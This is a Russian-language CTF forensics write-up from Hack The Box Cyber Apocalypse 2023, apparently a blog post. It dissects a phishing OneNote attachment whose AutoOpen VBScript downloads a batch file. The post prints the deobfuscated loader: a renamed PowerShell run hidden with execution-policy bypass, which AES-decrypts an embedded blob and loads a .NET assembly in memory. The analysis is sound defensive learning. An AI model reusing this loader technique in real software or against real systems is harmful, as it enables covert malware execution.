В среду завершился CTF Cyber Apocalypse 2023 от Hack The Box, который проходил с 18.03 по 23.03. В рамках CTF участникам предлагали решить 74 задания в разных областях от PWN до Crypto и с разными уровнями сложности от very easy до insane.

С 23.03 по 26.03 началось After Party, а это значит, что самое время делиться WriteUp’ами =) 

Здесь я бы хотел поделиться решением задач уровня medium из области Forensics, которые удалось решить в ходе CTF и возможно одной уровня hard.

Задание:

Pandora received an email with a link claiming to have information about the location of the relic and attached ancient city maps, but something seems off about it. Could it be rivals trying to send her off on a distraction? Or worse, could they be trying to hack her systems to get what she knows?Investigate the given attachment and figure out what's going on and get the flag. The link is to http://relicmaps.htb:/relicmaps.one. The document is still live (relicmaps.htb should resolve to your docker instance).

Итак, мы выяснили из задания, что Пандора получила email со ссылкой с информацией о местоположении реликвии и вложенный файл (карту древнего города), но что-то пошло не по плану…
Изучение фишинговых вложений отдельная любовь =)

Давайте найдем причину, почему дела Пандоры пошли не так, как она хотела, для этого загрузим файл вложения из письма.

Чтобы загрузить файл вложения, который прислали Пандоре, нужно загружать через поднятый в задании контейнер. Воспользуемся wget и в качестве прокси-сервера укажем адрес и порт контейнера:

wget http://relicmaps.htb:/relicmaps.one -e use_proxy=yes -e http_proxy=167.71.143.44:32619

Получаем файл типа OneNote. Посмотрим, что внутри, для этого воспользуемся утилитой strings.

Содержимое файла relicmaps.one.
Содержимое файла relicmaps.one.

Здесь мы видим VBScript и известную функцию автоматического исполнения AutoOpen, также наблюдаем функции по созданию процесса через WMI и код для загрузки дополнительных файлов, которые загрузятся сразу после того, как данный файл будет открыт нашей Пандорой.

Давайте скачаем данные файлы, воспользуемся аналогичной ранее команде с утилитой wget.

Мы получим пару файлов: topsecret-maps.one & window.bat. Содержимое topsecret-maps.one схоже с содержимым ранее исследуемого файла relicmaps.one и не представляет никакой ценности, ссылки битые и файлов таких уже не существует, к тому же ресурсы вполне легитимные.

Содержимое topsecret-maps.one
Содержимое topsecret-maps.one

А вот файл window.bat (загружен ранее) содержит интересные строки, из которых сразу становится понятно, что д̶а̶л̶ь̶ш̶е̶ ̶б̶у̶д̶е̶т̶ ̶и̶н̶т̶е̶р̶е̶с̶н̶е̶е̶ в скрипте выполняется деобфускация строк.

Выведем содержимое после деобфускации, для этого допишем echo перед последними тремя строками и сотрем cls, после запустим на виртуальный машине. Получаем следующие строки и командлеты:

copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /y "C:\Users\Antony\Desktop\window.bat.exe"

cd "C:\Users\Antony\Desktop\"

"window.bat.exe" -noprofile -windowstyle hidden -ep bypass -command 
$eIfqq = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Antony\Desktop\window.bat').Split([Environment]::NewLine);
foreach ($YiLGW in $eIfqq) { if ($YiLGW.StartsWith(':: ')) {  $VuGcO = $YiLGW.Substring(3); break; }; };
$uZOcm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VuGcO);
$BacUA = New-Object System.Security.Cryptography.AesManaged;
$BacUA.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$BacUA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$BacUA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=');
$BacUA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2hn/J717js1MwdbbqMn7Lw==');
$Nlgap = $BacUA.CreateDecryptor();
$uZOcm = $Nlgap.TransformFinalBlock($uZOcm, 0, $uZOcm.Length);
$Nlgap.Dispose();
$BacUA.Dispose();
$mNKMr = New-Object System.IO.MemoryStream(, $uZOcm);
$bTMLk = New-Object System.IO.MemoryStream;
$NVPbn = New-Object System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress);
$NVPbn.CopyTo($bTMLk);
$NVPbn.Dispose();
$mNKMr.Dispose();
$bTMLk.Dispose();
$uZOcm = $bTMLk.ToArray();
$gDBNO = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($uZOcm);
$PtfdQ = $gDBNO.EntryPoint;
#$PtfdQ.Invoke($null, (, [string[]] ('')))

Давайте разберемся, что происходит в сценарии.

Из файла в скрытом режиме считывается текст и деобфусцируется в цикле 

foreach ($YiLGW in $eIfqq) { 
if ($YiLGW.StartsWith(':: ')) {  
$VuGcO = $YiLGW.Substring(3); break; 
}; };

После чего данный текст в конвертируется из формата Base64 и записывается в переменную $uZOcm.

Далее начинается самое вкусное, созадется объект System.Security.Cryptography.AesManaged, задается mode CBC, ключ и вектор для расшифрования декодированного ранее содержимого, данный массив байтов записывается в переменную $uZOcm.
В конечном итоге мы получаем исполняемый код в памяти (переменная $PtfdQ) и $PtfdQ.Invoke позволяет исполнить данный код, поэтому при тестировании мы эту строку закомментируем.

Давайте вернемся на несколько шагов назад в сценарии, где мы мы получили массив байтов, и запишем содержимое этой переменной в файл OutFile.dat при помощи командлета Set-Content указав кодирование Byte:

Set-Content -Path OutFile.dat -Value $uZOcm -Encoding Byte

Утилита HxD показывают нам заголовок исполняемого файла MZ.

Посмотрим язык, на котором написан файл и наличие пакеров с помощью утилиты Detect It Easy.

Исполняемый файл написан на языке  С# и не упакован, поэтому можем взглянуть на его код воспользовавшись утилитой dnSpy.

И здесь нас с вами ждет флаг! =)
Вот такая несложная задачка уровня medium попалась на этом CTF в разделе Forensics.

Комментарии (2)


  1. core_x86
    00.00.0000 00:00

    Исчерпывающее решение.

    С каким результатом завершили CTF?


  1. AntonyN0p Автор
    00.00.0000 00:00

    Благодарю.
    Это был первый CTF для нашей команды, мы 319 из 6483 участвующих команд =)